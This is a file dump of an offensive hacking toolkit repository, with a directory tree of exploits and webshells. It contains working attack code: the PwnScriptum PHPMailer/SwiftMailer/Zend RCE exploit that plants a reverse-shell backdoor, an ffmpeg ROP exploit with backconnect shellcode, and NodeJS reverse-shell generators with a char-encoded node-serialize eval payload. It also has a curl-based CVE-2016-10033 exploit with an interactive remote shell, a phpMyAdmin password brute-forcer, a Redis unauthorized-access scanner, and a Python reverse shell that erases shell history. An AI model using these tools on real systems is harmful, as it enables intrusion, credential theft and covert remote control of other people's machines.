├── InsightScan.py ├── Rescan.py ├── app ├── PwnScriptum_RCE_exploit.py ├── ffmpeg │ └── exploit_ffmpeg.py ├── nodejs │ ├── nodejsshell.py │ └── nodeserialize.js ├── phpmailer_5.2.17_rce.sh └── phpmyadmin │ └── phpMyadminCrack.py ├── back.py ├── bash.py ├── crack ├── F-Scrack.py ├── exmail.qq.py ├── mod_session_crypto_exploit.py └── qq_exmail_brute.py ├── discuzz_ssrf_rce.py ├── es ├── ElasticSearch_groovy_rce.py ├── ElasticSearch_mvel_rce.py └── ElasticSearch_path_transversal.py ├── forward ├── dnsteal.py ├── s5.py ├── ssrfsocks.py └── tunnel.jsp ├── gethttpBanner.py ├── google.py ├── im └── poc.png ├── info ├── cloudflare_enum.py ├── discuz_forum_downremoteimg_ssrf.py ├── dns.py ├── finger.json └── php.py ├── jenkins ├── CVE-2015-8103 ├── Crack.py ├── Security232Exp.java └── jenkins_ldap_deserialize.rb ├── linux ├── Remote control ├── chocobo_root.c ├── cve-2014-0196-md.c └── dirtyc0w.c ├── nagios ├── nagios-root-privesc.sh └── nagios_cmd_injection.py ├── phpmyadmin.py ├── port ├── cip.java ├── httpscan.py ├── ip.py └── portscan.py ├── scanc.py ├── service ├── IIS_Put_File.py ├── ftp.py ├── httpsys.py ├── iis_shortname_Scan.py ├── mongdb.py ├── ora_exec_cmd.pl ├── redis.py ├── redis_exp.py └── ssltest.py ├── share.bat ├── webshell ├── caidao.jspx ├── cat.jsp ├── cmd.jsp ├── command ├── javareflect.jsp ├── jspspy.jsp ├── keylog.txt ├── shell.jsp └── ssishell.shtml └── 免责声明 /Rescan.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | #author=Cond0r@CodeScan 3 | import socket 4 | import threading 5 | from concurrent import futures 6 | from Queue import Queue 7 | from sys import argv 8 | import ipaddr 9 | import sys 10 | socket.setdefaulttimeout(3) 11 | data=''' 12 | Lib: 13 | https://github.com/google/ipaddr-py 14 | https://pypi.python.org/pypi/futures 15 | pip install futures 16 | Usage: 17 | python rescan.py -f inputfile.txt 18 | inputfile.txt: 19 | 10.14.40.194:6379 20 | python rescan.py -i 192.168.1.1/24 -p 6379 21 | ''' 22 | target_list=[] 23 | def stdout( name): 24 | scanow ='[*] Scan %s.. '%(name) 25 | sys.stdout.write(str(scanow)+" "*20+"\b\b\r") 26 | sys.stdout.flush() 27 | def extract_target(inputfile): 28 | global target_list 29 | inputdata=open(inputfile).read().replace("\r",'').split("\n") 30 | for host in inputdata: 31 | host=host.split(":") 32 | if len(host)==2: 33 | target_list.append("%s:%s"%(host[0],host[1])) 34 | elif len(host)==1: 35 | target_list.append("%s:6379"%(host[0])) 36 | return target_list 37 | def send_dbsize(conn): 38 | try: 39 | conn.send("dbsize\n") 40 | recv=conn.recv(5) 41 | conn.close() 42 | recv=recv.replace("\n",''), 43 | return recv 44 | except: 45 | return False 46 | 47 | def conn_redis(args): 48 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | args=args.split(":") 50 | host=args[0] 51 | port=int(args[1]) 52 | try: 53 | client.connect((host, port)) 54 | return client 55 | except: 56 | return False 57 | def run_task(target): 58 | stdout(target) 59 | conn=conn_redis(target) 60 | if conn: 61 | size=send_dbsize(conn) 62 | size=str(size) 63 | if 'NOAUTH' not in size and ':' in size: 64 | return "[!] Find %s Unauthorized "% target 65 | def main(): 66 | targetlist=[] 67 | if len(argv)>2: 68 | if argv[1]=='-f': 69 | return extract_target(argv[2]) 70 | if argv[1]=='-i': 71 | port=6379 72 | if len(argv)==5: 73 | port=int(argv[4]) 74 | targets = ipaddr.IPv4Network(argv[2]) 75 | for tar in targets: 76 | targetlist.append("%s:%d"%(tar,port)) 77 | return targetlist 78 | 79 | 80 | 81 | if len(argv)<3: 82 | print data 83 | exit() 84 | 85 | target_list=main() 86 | 87 | thread_pool = futures.ThreadPoolExecutor(max_workers=10) 88 | for i in thread_pool.map(run_task, target_list): 89 | if i!=None: 90 | print i 91 | -------------------------------------------------------------------------------- /app/PwnScriptum_RCE_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | intro = """\033[94m 4 | __ __ __ __ __ 5 | / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ 6 | / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ 7 | / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) 8 | /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ 9 | /____/ 10 | 11 | 12 | PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit 13 | a.k.a "PwnScriptum" 14 | 15 | CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074 16 | 17 | 18 | This PoC exploit aims to execute a reverse shell on the target in 19 | the context of the web-server user via vulnerable PHP email library. 20 | 21 | 22 | Discovered and Coded by: 23 | 24 | \033[1;34m 25 | Dawid Golunski 26 | https://legalhackers.com 27 | 28 | t: @dawid_golunski for updates 29 | \033[0m 30 | \033[94m 31 | P.$. For testing only! Don't break the Web ;) 32 | \033[0m 33 | """ 34 | info = """ 35 | [Version] 36 | Limited PoC (ver. 1.1) 37 | 38 | [PoC Video] 39 | See the the exploit in action at: 40 | 41 | https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html 42 | 43 | [Info] 44 | This exploit targets a common webapp component - Contact Form. 45 | 46 | It combines payloads for the following vulns: 47 | 48 | 1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) 49 | https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 50 | 51 | 2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass) 52 | https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html 53 | 54 | 3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) 55 | https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 56 | 57 | 4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) 58 | https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html 59 | 60 | [Usage] 61 | 62 | ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT 63 | [-d TARGET_UP_DIR] -ip ATTACKERS_IP 64 | [-p ATTACKERS_PORT] [--version] 65 | [--post-action POST_ACTION] 66 | [--post-name POST_NAME] 67 | [--post-email POST_EMAIL] 68 | [--post-msg POST_MSG] 69 | 70 | Note, make sure the contact form matches the default field names (send/name/email/msg). 71 | Otherwise override with --post-msg=message_box for example. 72 | 73 | """ 74 | 75 | import os 76 | import argparse 77 | import time 78 | import urllib 79 | import urllib2 80 | import socket 81 | import sys 82 | 83 | 84 | # The Main Meat 85 | print intro 86 | 87 | # Show info 88 | if '-H' in sys.argv: 89 | print info 90 | exit(0) 91 | # Parse input args 92 | parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)') 93 | parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page') 94 | parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') 95 | parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') 96 | parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir', default="upload") 97 | parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell') 98 | parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener', default="8080") 99 | parser.add_argument('--version', action='version', version='%(prog)s 1.1 Limited PoC') 100 | parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") 101 | parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") 102 | parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") 103 | parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") 104 | args = parser.parse_args() 105 | 106 | # Preset vars 107 | TMOUT = 3 108 | # Set Vars 109 | #if args.ATTACKERS_PORT is None: 110 | # args.ATTACKERS_PORT = 8080 111 | #if args.TARGET_UP_DIR is None: 112 | # args.TARGET_UP_DIR = "upload" 113 | # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;) 114 | BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php' 115 | BACKDOOR_URL = args.WEBAPP_BASE_URL.rstrip('/') + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE 116 | CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT 117 | 118 | # Show params 119 | print """[+] Setting vars to: \n 120 | WEBAPP_BASE_URL = [%s] 121 | CONTACT_SCRIPT = [%s] 122 | TARGET_UP_DIR = [%s] 123 | ATTACKERS_IP = [%s] 124 | ATTACKERS_PORT = [%s] 125 | CONTACT_SCRIPT_URL = [%s] 126 | BACKDOOR_FILEl = [%s] 127 | """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE) 128 | 129 | 130 | print "[+] Choose your target / payload: " 131 | print "\033[1;34m" 132 | print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n""" 133 | print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) 134 | The escapeshellarg() bypass :)\n""" 135 | print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n""" 136 | print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n""" 137 | print "\033[0m" 138 | 139 | try: 140 | target = int(raw_input('[?] Select target [1-2]: ')) 141 | except ValueError: 142 | print "Not a valid choice. Exiting\n" 143 | exit(2) 144 | if (target>4): 145 | print "No such target. Exiting\n" 146 | exit(3) 147 | if target == 1: 148 | # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) 149 | payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) 150 | if target == 2: 151 | # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) 152 | payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE) 153 | if target == 3: 154 | # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) 155 | payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) 156 | if target == 4: 157 | # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) 158 | payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) 159 | 160 | print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR 161 | # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g: 162 | # e.g: 163 | #RCE_PHP_CODE = "" 164 | RCE_PHP_CODE = """/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) 165 | 166 | # The form names might need to be adjusted 167 | post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE} 168 | 169 | # Attack 170 | # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor 171 | print "[+] Backdoor upload via the contact form at the URL '%s'\n" % CONTACT_SCRIPT_URL 172 | data = urllib.urlencode(post_fields) 173 | req = urllib2.Request(CONTACT_SCRIPT_URL, data) 174 | try: 175 | urllib2.urlopen(req) 176 | except urllib2.HTTPError, e: 177 | print "[!] Got HTTP error: [%d] when uploading the payload. Check the URL!\n\n" % e.code 178 | exit(3) 179 | except urllib2.URLError, err: 180 | print "[!] Got the '%s' error when uploading the payload. Check the URL!\n\n" % err.reason 181 | exit(4) 182 | 183 | # Check if the backdoor was uploaded correctly. 184 | # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine 185 | # So we catch the timeout to find out. 186 | 187 | # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it 188 | print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL 189 | got_timeout = 0 190 | http_err = 0 191 | try: 192 | urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1)) 193 | except urllib2.HTTPError, e: 194 | http_err = e.code 195 | except urllib2.URLError, err: 196 | print "Some other error happened:", err.reason 197 | except socket.timeout, e: 198 | print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n" 199 | got_timeout = 1 200 | 201 | if (got_timeout != 1): 202 | print "[!] Something went wrong... Error [%d]. Try another dir? Push through, don't give up! :)\n" % http_err 203 | exit(2) 204 | 205 | # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called 206 | print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n" 207 | print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n" 208 | os.system("nc -v -l -p %s" % args.ATTACKERS_PORT) 209 | 210 | print "\n[+] Shell closed. Removed the uploaded backdoor scripts?\n" 211 | 212 | print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n" 213 | -------------------------------------------------------------------------------- /app/ffmpeg/exploit_ffmpeg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import re 4 | import os 5 | import sys 6 | import socket 7 | import threading 8 | from time import sleep 9 | 10 | from pwn import * 11 | 12 | 13 | bind_ip = '0.0.0.0' 14 | bind_port = 12345 15 | 16 | 17 | headers = """HTTP/1.1 200 OK 18 | Server: HTTPd/0.9 19 | Date: Sun, 10 Apr 2005 20:26:47 GMT 20 | Content-Type: text/html 21 | Transfer-Encoding: chunked 22 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 23 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 24 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 25 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 26 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 27 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 28 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 29 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 30 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 31 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 32 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 33 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 34 | Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA; 35 | """ 36 | 37 | 38 | elf = ELF('ffmpeg/ffmpeg') 39 | shellcode_location = 0x00400000 40 | page_size = 0x1000 41 | rwx_mode = 7 42 | 43 | gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64'))) 44 | pop_rdi = gadget('pop rdi; ret') 45 | pop_rsi = gadget('pop rsi; ret') 46 | pop_rax = gadget('pop rax; ret') 47 | pop_rcx = gadget('pop rcx; ret') 48 | pop_rdx = gadget('pop rdx; ret') 49 | pop_rbp = gadget('pop rbp; ret') 50 | 51 | push_rbx = gadget('push rbx; jmp rdi') 52 | pop_rsp = gadget('pop rsp; ret') 53 | add_rsp = gadget('add rsp, 0x58') 54 | 55 | mov_gadget = gadget('mov qword [rcx], rax ; ret') 56 | 57 | mprotect_func = elf.plt['mprotect'] 58 | read_func = elf.plt['read'] 59 | 60 | 61 | 62 | def handle_request(client_socket): 63 | request = client_socket.recv(2048) 64 | 65 | payload = '' 66 | payload += 'C' * (0x8040) 67 | payload += 'CCCCCCCC' * 4 68 | payload += p64(0x0058dc48) # rop starts here 69 | payload += 'CCCCCCCC' * 4 70 | 71 | payload += p64(0x00d89257) # rdi 72 | payload += p64(0x010ccd95) # call *%rax 73 | payload += 'BBBBBBBB' * 3 74 | payload += 'AAAA' 75 | payload += p32(0) 76 | payload += 'AAAAAAAA' 77 | payload += p64(0x0058dc48) # second add_esp rop to jump to uncorrupted chunk 78 | payload += 'XXXXXXXX' * 11 79 | 80 | # real rop payload starts here 81 | # 82 | # using mprotect to create executable area 83 | payload += p64(pop_rdi) 84 | payload += p64(shellcode_location) 85 | payload += p64(pop_rsi) 86 | payload += p64(page_size) 87 | payload += p64(pop_rdx) 88 | payload += p64(rwx_mode) 89 | payload += p64(mprotect_func) 90 | 91 | # backconnect shellcode x86_64: 127.0.0.1:31337 92 | shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; 93 | shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode 94 | shellslices = map(''.join, zip(*[iter(shellcode)]*8)) 95 | 96 | write_location = shellcode_location - 8 97 | for shellslice in shellslices: 98 | payload += p64(pop_rax) 99 | payload += shellslice 100 | payload += p64(pop_rcx) 101 | payload += p64(write_location) 102 | payload += p64(mov_gadget) 103 | 104 | write_location += 8 105 | 106 | payload += p64(pop_rbp) 107 | payload += p64(4) 108 | payload += p64(shellcode_location) 109 | 110 | # 0x009e5641: mov qword [rcx], rax ; ret ; (1 found) 111 | 112 | # 0x010ccd95: push rbx ; jmp rdi ; (1 found) 113 | # 0x00d89257: pop rsp ; ret ; (1 found) 114 | # 0x0058dc48: add rsp, 0x58 ; ret ; (1 found) 115 | 116 | client_socket.send(headers) 117 | client_socket.send('-1\n') 118 | sleep(5) 119 | client_socket.send(payload) 120 | client_socket.close() 121 | 122 | 123 | if __name__ == '__main__': 124 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 125 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 126 | 127 | s.bind((bind_ip, bind_port)) 128 | s.listen(5) 129 | 130 | filename = os.path.basename(__file__) 131 | st = os.stat(filename) 132 | 133 | while True: 134 | client_socket, addr = s.accept() 135 | handle_request(client_socket) 136 | if os.stat(filename) != st: 137 | print 'restarted' 138 | sys.exit(0) 139 | -------------------------------------------------------------------------------- /app/nodejs/nodejsshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Generator for encoded NodeJS reverse shells 3 | # Based on the NodeJS reverse shell by Evilpacket 4 | # https://github.com/evilpacket/node-shells/blob/master/node_revshell.js 5 | # Onelineified and suchlike by infodox (and felicity, who sat on the keyboard) 6 | # Insecurety Research (2013) - insecurety.net 7 | import sys 8 | 9 | if len(sys.argv) != 3: 10 | print "Usage: %s " % (sys.argv[0]) 11 | sys.exit(0) 12 | 13 | IP_ADDR = sys.argv[1] 14 | PORT = sys.argv[2] 15 | 16 | 17 | def charencode(string): 18 | """String.CharCode""" 19 | encoded = '' 20 | for char in string: 21 | encoded = encoded + "," + str(ord(char)) 22 | return encoded[1:] 23 | 24 | print "[+] LHOST = %s" % (IP_ADDR) 25 | print "[+] LPORT = %s" % (PORT) 26 | NODEJS_REV_SHELL = ''' 27 | var net = require('net'); 28 | var spawn = require('child_process').spawn; 29 | HOST="%s"; 30 | PORT="%s"; 31 | TIMEOUT="5000"; 32 | if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } 33 | function c(HOST,PORT) { 34 | var client = new net.Socket(); 35 | client.connect(PORT, HOST, function() { 36 | var sh = spawn('/bin/sh',[]); 37 | client.write("Connected!\\n"); 38 | client.pipe(sh.stdin); 39 | sh.stdout.pipe(client); 40 | sh.stderr.pipe(client); 41 | sh.on('exit',function(code,signal){ 42 | client.end("Disconnected!\\n"); 43 | }); 44 | }); 45 | client.on('error', function(e) { 46 | setTimeout(c(HOST,PORT), TIMEOUT); 47 | }); 48 | } 49 | c(HOST,PORT); 50 | ''' % (IP_ADDR, PORT) 51 | print "[+] Encoding" 52 | PAYLOAD = charencode(NODEJS_REV_SHELL) 53 | print "eval(String.fromCharCode(%s))" % (PAYLOAD) 54 | -------------------------------------------------------------------------------- /app/nodejs/nodeserialize.js: -------------------------------------------------------------------------------- 1 | var y = { 2 | rce : function(){ 3 | eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10)); 4 | }, 5 | } 6 | var serialize = require('node-serialize'); 7 | console.log("Serialized: \n" + serialize.serialize(y)); 8 | -------------------------------------------------------------------------------- /app/phpmailer_5.2.17_rce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # CVE-2016-10033 exploit by opsxcq 3 | # https://github.com/opsxcq/exploit-CVE-2016-10033 4 | 5 | echo '[+] CVE-2016-10033 exploit by opsxcq' 6 | 7 | if [ -z "$1" ] 8 | then 9 | echo '[-] Please inform an host as parameter' 10 | exit -1 11 | fi 12 | 13 | host=$1 14 | 15 | echo '[+] Exploiting '$host 16 | 17 | curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php' 18 | 19 | cmd='whoami' 20 | while [ "$cmd" != 'exit' ] 21 | do 22 | echo '[+] Running '$cmd 23 | curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d 24 | echo 25 | read -p 'RemoteShell> ' cmd 26 | done 27 | echo '[+] Exiting' 28 | -------------------------------------------------------------------------------- /app/phpmyadmin/phpMyadminCrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Author: IcySun 4 | # 脚本功能:暴力破解phpMyadmin密码 5 | 6 | from Queue import Queue 7 | import threading,sys 8 | import requests 9 | 10 | def use(): 11 | print '#' * 50 12 | print '\t Crack Phpmyadmin root\'s pass' 13 | print '\t\t\t Code By: IcySun' 14 | print '\t python crackPhpmyadmin.py http://xx.com/phpmyadmin/ \n\t (default user is root)' 15 | 16 | 17 | print '#' * 50 18 | 19 | def crack(password): 20 | global url 21 | payload = {'pma_username': 'root', 'pma_password': password} 22 | headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'} 23 | r = requests.post(url, headers = headers, data = payload) 24 | if 'name="login_form"' not in r.content: 25 | print '[*] OK! Have Got The Pass ==> %s' % password 26 | 27 | class MyThread(threading.Thread): 28 | def __init__(self): 29 | threading.Thread.__init__(self) 30 | def run(self): 31 | global queue 32 | while not queue.empty(): 33 | password = queue.get() 34 | crack(password) 35 | 36 | def main(): 37 | global url,password,queue 38 | queue = Queue() 39 | url = sys.argv[1] 40 | passlist = open('password.txt','r') 41 | for password in passlist.readlines(): 42 | password = password.strip() 43 | queue.put(password) 44 | 45 | for i in range(10): 46 | c = MyThread() 47 | c.start() 48 | 49 | if __name__ == '__main__': 50 | if len(sys.argv) != 2 : 51 | use() 52 | else: 53 | main() 54 | -------------------------------------------------------------------------------- /back.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | #!/usr/bin/env python 3 | """ 4 | back connect py version,only linux have pty module 5 | code by google security team 6 | wget http://0ke.org/back.py -O /tmp/x.py 7 | python /tmp/x.py 120.24.234.44 12588 8 | """ 9 | import sys,os,socket,pty 10 | shell = "/bin/sh" 11 | def usage(name): 12 | print 'python reverse connector' 13 | print 'usage: %s ' % name 14 | 15 | def main(): 16 | if len(sys.argv) !=3: 17 | usage(sys.argv[0]) 18 | sys.exit() 19 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 20 | try: 21 | s.connect((sys.argv[1],int(sys.argv[2]))) 22 | print 'connect ok' 23 | except: 24 | print 'connect faild' 25 | sys.exit() 26 | os.dup2(s.fileno(),0) 27 | os.dup2(s.fileno(),1) 28 | os.dup2(s.fileno(),2) 29 | global shell 30 | os.unsetenv("HISTFILE") 31 | os.unsetenv("HISTFILESIZE") 32 | os.unsetenv("HISTSIZE") 33 | os.unsetenv("HISTORY") 34 | os.unsetenv("HISTSAVE") 35 | os.unsetenv("HISTZONE") 36 | os.unsetenv("HISTLOG") 37 | os.unsetenv("HISTCMD") 38 | os.putenv("HISTFILE",'/dev/null') 39 | os.putenv("HISTSIZE",'0') 40 | os.putenv("HISTFILESIZE",'0') 41 | pty.spawn(shell) 42 | s.close() 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /bash.py: -------------------------------------------------------------------------------- 1 | 